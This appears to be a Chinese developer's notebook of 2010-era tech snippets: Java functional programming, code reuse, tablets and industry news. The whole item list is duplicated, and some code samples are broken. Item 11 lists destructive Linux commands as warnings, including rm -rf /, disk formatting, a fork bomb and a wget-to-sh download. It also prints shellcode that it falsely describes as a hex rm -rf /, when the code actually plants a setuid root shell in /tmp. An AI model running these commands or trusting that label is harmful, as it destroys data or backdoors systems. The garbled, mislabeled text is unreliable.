1、 有趣的google scribe 边打字边给你写作建议
^_^ ^_^ 超有趣的
2、 Java 分布式缓存框架 EhCache(hibernate中默认的缓存提供方式)
3、 互联网上的五个高级搜索引擎
google igoogle 通用版
反向图片搜索 TinEye
相似图片搜索 GazoPa
隐匿查询
语义查询 DuckDuckGo
4、 UI设计师的盛宴:Web UI设计资源大系
5、 JDK7中的函数式编程思想
待续... ...
A、 Lambda表达式
f = Lambda x: x * 2 > 10
print filter(f, list)
[6, 8]
# Let's call f itself
f(1)
False
在Java中,我们目前有匿名内部类证明Lambda表达式是匿名的,当传递给它一个方法时,它们就是一个普通的
对象,如:
File cwd = new File(".);
System.out.println(cwd.list(new FileFilter() {
public boolean accept(File f) {return f != null && f.getName().endsWith(".java");
}
}));
现在可以将Lambda表达式简单地当作一个匿名函数,在Java中,这可能意味着“回调”,真正的递归和其它功
能,或许实现Comparator(比较器)接口筛选集合的日子将一去不复还了,如果它们在JDK 7中完成,预计我
们将看到一个更加动态的语言。
B、 函数类型
正如前面提到的,Lambda表达式将引入另一个函数式编程概念:函数类型。它仅仅指的是将函数作为对象看
待,就象是一个String或BigDecimal,它允许你象其它类型那样将其传递给其它函数。
C、 闭包
你应该听说过闭包的概念,它是另一个非常简单的函数式编程概念,它允许在一个函数中包括另一个函数,并
可以在内部函数中引用外部变量,这种变量被称作“自由变量”,因为它们不是闭包的参数,也不是局部变
量。
D、 局部套用函数
局部套用函数最好解释为“链条式”Lambda表达式,对于一个可接受多个参数的函数,局部套用函数是函数转
换的过程,以便每个参数都被传递给函数,然后根据原始的函数调用返回。
// "mul" is function that takes two arguments; both ints
mul(5).(5); // returns 25
E、高阶函数
高阶函数是指取得或返回另一个函数的函数,在本文开头的Python代码示例中,你应该已经看到了filter函数,
它就是一个高阶函数,因为它的第一个参数是一个函数,这个函数用于测试列表(第二个参数)中每个元素的
内容。
6、关于 统一权限管理 的实现
Spring Security
7、 项目经理和高级技术员的区别
ISO/CMM
8、 代码生成器的原理
9、 中文分词库
Paoding 使用java开发的,可结合到Lucene应用中的,为互联网、企业内部网使用
中的搜索引擎分词组件
Java开源的搜索引擎: Lucence
10、 通过eclipse修改jvm的内存大小
通过eclipse图像化配置或者是直接修改eclipse.ini配置文件
11、 7个致命的Linux命令
A、 rm -rf / :填炼曾强调过,此命令将递归并强制删除/目录下的所有文件
B、 2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
——不过心想一般每人会敲这种东西,若真是记得那是天才,^_^ ^_^
C、 mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然数据全丢失
D、 :(){ :|:& };: 著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
E、 any_command> /dev/sda 原始数据被写到块设备,其结果是造成数据丢失
F、 wget http://some_untrusted_source -0- |sh 不要从不信任的地方下载东西,这可能会获取恶意代
G、 mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件
12、 关于增强代码可重用性的一种尝试——改写类的实例方法
通过类继承实现代码重用不是精确的代码重用技术,因此它并不是最理想的代码重用机制
任何方法,只要它执行的是某个单一概念的任务,就其本身而言,它就应该是首选的可重用代码。为了重用这种代码,我们必须回归到面向过程的编程模式,把类的实例方法移出成为全局性的过程。为了提高这种过程的可重用性,过程代码应该象静态工具方法一样编写:它只能使用自己的输入参数,只能调用其他全局性的过程,不能使用任何非局部的变量。这种对外部依赖关系的限制简化了过程的应用,使得过程能够方便地用于任何地方。当然,由于这种组织方式总是使得代码具有更清晰的结构,即使是不考虑重用性的代码也同样能够从中获益。
在Java中,方法不能脱离类而单独存在。为此,我们可以把相关的过程组织成为独立的类,并把这些过程定义为公用静态方法。
例如,对于下面这个类:
class Polygon {
.
.
public int getPerimeter() {...}
public boolean isConvex() {...}
public boolean containsPoint(Point p) {...}
.
.
}
我们可以把它改写成:
class Polygon {
.
.
public int getPerimeter() {return pPolygon.computePerimeter(this);}
public boolean isConvex() {return pPolygon.isConvex(this);}
public boolean containsPoint(Point p) {return pPolygon.containsPoint(this, p);}
.
}
其中,pPolygon是:
class pPolygon {
static public int computePerimeter(Polygon polygon) {...}
static public boolean isConvex(Polygon polygon) {...}
static public boolean
containsPoint(Polygon polygon, Point p) {...}
}
从类的名字pPolygon可以看出,该类所封装的过程主要与Polygon类型的对象有关。名字前面的p表示该类的唯一目的是组织公用静态过程。在Java中,类的名字以小写字母开头是一种非标准的做法,但象pPloygon这样的类事实上并不提供普通Java类的功能。也就是说,它并不代表着一类对象,它只是Java语言组织代码的一种机制。
在上面这个例子中,改动代码的最终效果是使得应用Polygon功能的客户代码不必再从Polygon继承。Polygon类的功能现在已经由pPolygon类以过程为单位提供。客户代码只使用自己需要的代码,无需关心Polygon类中自己不需要的功能。但它并不意味着在这种新式过程化编程中类的作用有所削弱。恰恰相反,在组织和封装对象数据成员的过程中,类起到了不可或缺的作用,而且正如本文接下来所介绍的,类通过多重接口实现多态性的能力本身也带来了卓越的代码重用支持。然而,由于用实例方法封装代码功能并不是首选的代码重用手段,所以通过类继承达到代码重用和多态性支持也不是最理想的。
13、 你必须解决它!
随着时间的推移,很多程序里都会慢慢积累一些看似没用的或废弃的代码,没人敢
动它们,因为担心会把程序弄坏
我认为,这些代码借助于人们对它的缺乏了解,害怕修改程序——这其实是源于一
种迷信,而非出于理智——而驻留在程序里,成为了一种具有最隐蔽形式的技术债务
我胡乱的在程序里加入bug调试,异常捕捉(尽管没有任何迹象显示有异常抛出)的
代码,以及其它一些胡乱的,让人后怕的没用代码... ....
可以找人结对一下,一个人的思维有局限性,而且自己还意识不到.
当你能把问题清晰得向另一个人描述出来时,往往会有意想不到的效果
——^_^ ^_^ 对于最后一句话体会尤为深刻
14、 平板电脑扫盲篇章
PC家族新增成员,外形介于笔记本与掌上电脑之间
但其处理能力大于掌上电脑,比之笔记本电脑,它除了拥有其所有功能外,还支
持手写输入或者语音输入,移动性和便携性都更胜一筹
平板电脑有两种规格,一为专用手写板,可外接键盘、屏幕等,当作一般PC用。
另一种为笔记型手写板,可象笔记本一般开合。
代表产品: Ipad
平板电脑是由比尔盖茨提出来的,必须能够安装X86版本的Windows系统、Linux系统或
Mac OS系统,即平板电脑最少应该是X86架构。而Ipad系统是基于ARM架构的,根本都
不能做PC,乔布斯也声称iPad不是平板电脑。
使用ARM系列的价格便宜
价格下至六七百元, 上至五六千元
平板电脑更多的像是一种 上网本
15、 Adobe MAX2010 大会: Flex 4.5将支持Android AIR应用(现场组图)
深入解读包括跨多屏跨设备的富多媒体应用及用户体验、新兴数字内容和商业模
式以及将开发和设计融为一体的工作流程、未来展望,并将展示大量通过Flash平台开
发出来的炫目的应用。
大会主题词:连接(跨平台跨设备)、发现(全新数字商业模式)、激励(创
意)
简要介绍了Adobe产品线,大致分为三层:底层的工具、框架、服务器端产品、
服务;在中间的是客户端技术;在上层的是服务于用户和开发者的跨平台跨屏应用。
Kevin Lynch的演讲将从五个角度来解析Adobe的最新技术趋势和应用状况。分别为:
Website(技术和应用)、Digital Publishing、Video、Game、Enterprise
Application以及相关的移动应用技术展开。
16、 反对360不正当竞争及加强行业自律的联合声明
金山、 百度、 腾讯、 傲游、 可牛
^_^ ^_^ 360开始反击
17、 周鸿祎引领的江湖斗:为什么说我是疯狗
周鸿祎其人其事、 其斗争历史相当彪悍... ... 有个性的一位大佬
我不是疯狗,我觉得我们是250。别人老说360充当网络警察,250加110刚好等于
360,这是冥冥之中有天意吧。
18、 Gartner发布2010新兴技术评估报告
2010年处于“期望达到峰值阶段”的热门技术包括私有云技术、增强现实技术、多媒
体平板电脑(iPad等)、无线传输能源技术、3D平板电视及显示技术和活动流(activity
streams)技术等。
19、 程序员致富的若干方法讨论
对程序员来说,要想赚大钱,赚月薪超过12k、甚至更多的钱,不是学什么技术
,搞什么技术的工作能解决的
要想大幅度地提升薪水,靠的是技术之外的许多其他因素,我简单列举一二:
A、 找到一个未来有发展潜力的公司,你在技术上站得住脚,且努力额外做一些
力所能及的与技术无关的事情... ... 绩优股
B、 潜心修炼技术和专业技能,能独当一面地开发出几款小产品,辛苦揽活
C、 自己开公司,当老板
^_^ ^_^ 超有趣的
2、 Java 分布式缓存框架 EhCache(hibernate中默认的缓存提供方式)
3、 互联网上的五个高级搜索引擎
google igoogle 通用版
反向图片搜索 TinEye
相似图片搜索 GazoPa
隐匿查询
语义查询 DuckDuckGo
4、 UI设计师的盛宴:Web UI设计资源大系
5、 JDK7中的函数式编程思想
待续... ...
A、 Lambda表达式
f = Lambda x: x * 2 > 10
print filter(f, list)
[6, 8]
# Let's call f itself
f(1)
False
在Java中,我们目前有匿名内部类证明Lambda表达式是匿名的,当传递给它一个方法时,它们就是一个普通的
对象,如:
File cwd = new File(".);
System.out.println(cwd.list(new FileFilter() {
public boolean accept(File f) {return f != null && f.getName().endsWith(".java");
}
}));
现在可以将Lambda表达式简单地当作一个匿名函数,在Java中,这可能意味着“回调”,真正的递归和其它功
能,或许实现Comparator(比较器)接口筛选集合的日子将一去不复还了,如果它们在JDK 7中完成,预计我
们将看到一个更加动态的语言。
B、 函数类型
正如前面提到的,Lambda表达式将引入另一个函数式编程概念:函数类型。它仅仅指的是将函数作为对象看
待,就象是一个String或BigDecimal,它允许你象其它类型那样将其传递给其它函数。
C、 闭包
你应该听说过闭包的概念,它是另一个非常简单的函数式编程概念,它允许在一个函数中包括另一个函数,并
可以在内部函数中引用外部变量,这种变量被称作“自由变量”,因为它们不是闭包的参数,也不是局部变
量。
D、 局部套用函数
局部套用函数最好解释为“链条式”Lambda表达式,对于一个可接受多个参数的函数,局部套用函数是函数转
换的过程,以便每个参数都被传递给函数,然后根据原始的函数调用返回。
// "mul" is function that takes two arguments; both ints
mul(5).(5); // returns 25
E、高阶函数
高阶函数是指取得或返回另一个函数的函数,在本文开头的Python代码示例中,你应该已经看到了filter函数,
它就是一个高阶函数,因为它的第一个参数是一个函数,这个函数用于测试列表(第二个参数)中每个元素的
内容。
6、关于 统一权限管理 的实现
Spring Security
7、 项目经理和高级技术员的区别
ISO/CMM
8、 代码生成器的原理
9、 中文分词库
Paoding 使用java开发的,可结合到Lucene应用中的,为互联网、企业内部网使用
中的搜索引擎分词组件
Java开源的搜索引擎: Lucence
10、 通过eclipse修改jvm的内存大小
通过eclipse图像化配置或者是直接修改eclipse.ini配置文件
11、 7个致命的Linux命令
A、 rm -rf / :填炼曾强调过,此命令将递归并强制删除/目录下的所有文件
B、 2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
——不过心想一般每人会敲这种东西,若真是记得那是天才,^_^ ^_^
C、 mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然数据全丢失
D、 :(){ :|:& };: 著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
E、 any_command> /dev/sda 原始数据被写到块设备,其结果是造成数据丢失
F、 wget http://some_untrusted_source -0- |sh 不要从不信任的地方下载东西,这可能会获取恶意代
G、 mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件
12、 关于增强代码可重用性的一种尝试——改写类的实例方法
通过类继承实现代码重用不是精确的代码重用技术,因此它并不是最理想的代码重用机制
任何方法,只要它执行的是某个单一概念的任务,就其本身而言,它就应该是首选的可重用代码。为了重用这种代码,我们必须回归到面向过程的编程模式,把类的实例方法移出成为全局性的过程。为了提高这种过程的可重用性,过程代码应该象静态工具方法一样编写:它只能使用自己的输入参数,只能调用其他全局性的过程,不能使用任何非局部的变量。这种对外部依赖关系的限制简化了过程的应用,使得过程能够方便地用于任何地方。当然,由于这种组织方式总是使得代码具有更清晰的结构,即使是不考虑重用性的代码也同样能够从中获益。
在Java中,方法不能脱离类而单独存在。为此,我们可以把相关的过程组织成为独立的类,并把这些过程定义为公用静态方法。
例如,对于下面这个类:
class Polygon {
.
.
public int getPerimeter() {...}
public boolean isConvex() {...}
public boolean containsPoint(Point p) {...}
.
.
}
我们可以把它改写成:
class Polygon {
.
.
public int getPerimeter() {return pPolygon.computePerimeter(this);}
public boolean isConvex() {return pPolygon.isConvex(this);}
public boolean containsPoint(Point p) {return pPolygon.containsPoint(this, p);}
.
}
其中,pPolygon是:
class pPolygon {
static public int computePerimeter(Polygon polygon) {...}
static public boolean isConvex(Polygon polygon) {...}
static public boolean
containsPoint(Polygon polygon, Point p) {...}
}
从类的名字pPolygon可以看出,该类所封装的过程主要与Polygon类型的对象有关。名字前面的p表示该类的唯一目的是组织公用静态过程。在Java中,类的名字以小写字母开头是一种非标准的做法,但象pPloygon这样的类事实上并不提供普通Java类的功能。也就是说,它并不代表着一类对象,它只是Java语言组织代码的一种机制。
在上面这个例子中,改动代码的最终效果是使得应用Polygon功能的客户代码不必再从Polygon继承。Polygon类的功能现在已经由pPolygon类以过程为单位提供。客户代码只使用自己需要的代码,无需关心Polygon类中自己不需要的功能。但它并不意味着在这种新式过程化编程中类的作用有所削弱。恰恰相反,在组织和封装对象数据成员的过程中,类起到了不可或缺的作用,而且正如本文接下来所介绍的,类通过多重接口实现多态性的能力本身也带来了卓越的代码重用支持。然而,由于用实例方法封装代码功能并不是首选的代码重用手段,所以通过类继承达到代码重用和多态性支持也不是最理想的。
13、 你必须解决它!
随着时间的推移,很多程序里都会慢慢积累一些看似没用的或废弃的代码,没人敢
动它们,因为担心会把程序弄坏
我认为,这些代码借助于人们对它的缺乏了解,害怕修改程序——这其实是源于一
种迷信,而非出于理智——而驻留在程序里,成为了一种具有最隐蔽形式的技术债务
我胡乱的在程序里加入bug调试,异常捕捉(尽管没有任何迹象显示有异常抛出)的
代码,以及其它一些胡乱的,让人后怕的没用代码... ....
可以找人结对一下,一个人的思维有局限性,而且自己还意识不到.
当你能把问题清晰得向另一个人描述出来时,往往会有意想不到的效果
——^_^ ^_^ 对于最后一句话体会尤为深刻
14、 平板电脑扫盲篇章
PC家族新增成员,外形介于笔记本与掌上电脑之间
但其处理能力大于掌上电脑,比之笔记本电脑,它除了拥有其所有功能外,还支
持手写输入或者语音输入,移动性和便携性都更胜一筹
平板电脑有两种规格,一为专用手写板,可外接键盘、屏幕等,当作一般PC用。
另一种为笔记型手写板,可象笔记本一般开合。
代表产品: Ipad
平板电脑是由比尔盖茨提出来的,必须能够安装X86版本的Windows系统、Linux系统或
Mac OS系统,即平板电脑最少应该是X86架构。而Ipad系统是基于ARM架构的,根本都
不能做PC,乔布斯也声称iPad不是平板电脑。
使用ARM系列的价格便宜
价格下至六七百元, 上至五六千元
平板电脑更多的像是一种 上网本
15、 Adobe MAX2010 大会: Flex 4.5将支持Android AIR应用(现场组图)
深入解读包括跨多屏跨设备的富多媒体应用及用户体验、新兴数字内容和商业模
式以及将开发和设计融为一体的工作流程、未来展望,并将展示大量通过Flash平台开
发出来的炫目的应用。
大会主题词:连接(跨平台跨设备)、发现(全新数字商业模式)、激励(创
意)
简要介绍了Adobe产品线,大致分为三层:底层的工具、框架、服务器端产品、
服务;在中间的是客户端技术;在上层的是服务于用户和开发者的跨平台跨屏应用。
Kevin Lynch的演讲将从五个角度来解析Adobe的最新技术趋势和应用状况。分别为:
Website(技术和应用)、Digital Publishing、Video、Game、Enterprise
Application以及相关的移动应用技术展开。
16、 反对360不正当竞争及加强行业自律的联合声明
金山、 百度、 腾讯、 傲游、 可牛
^_^ ^_^ 360开始反击
17、 周鸿祎引领的江湖斗:为什么说我是疯狗
周鸿祎其人其事、 其斗争历史相当彪悍... ... 有个性的一位大佬
我不是疯狗,我觉得我们是250。别人老说360充当网络警察,250加110刚好等于
360,这是冥冥之中有天意吧。
18、 Gartner发布2010新兴技术评估报告
2010年处于“期望达到峰值阶段”的热门技术包括私有云技术、增强现实技术、多媒
体平板电脑(iPad等)、无线传输能源技术、3D平板电视及显示技术和活动流(activity
streams)技术等。
19、 程序员致富的若干方法讨论
对程序员来说,要想赚大钱,赚月薪超过12k、甚至更多的钱,不是学什么技术
,搞什么技术的工作能解决的
要想大幅度地提升薪水,靠的是技术之外的许多其他因素,我简单列举一二:
A、 找到一个未来有发展潜力的公司,你在技术上站得住脚,且努力额外做一些
力所能及的与技术无关的事情... ... 绩优股
B、 潜心修炼技术和专业技能,能独当一面地开发出几款小产品,辛苦揽活
C、 自己开公司,当老板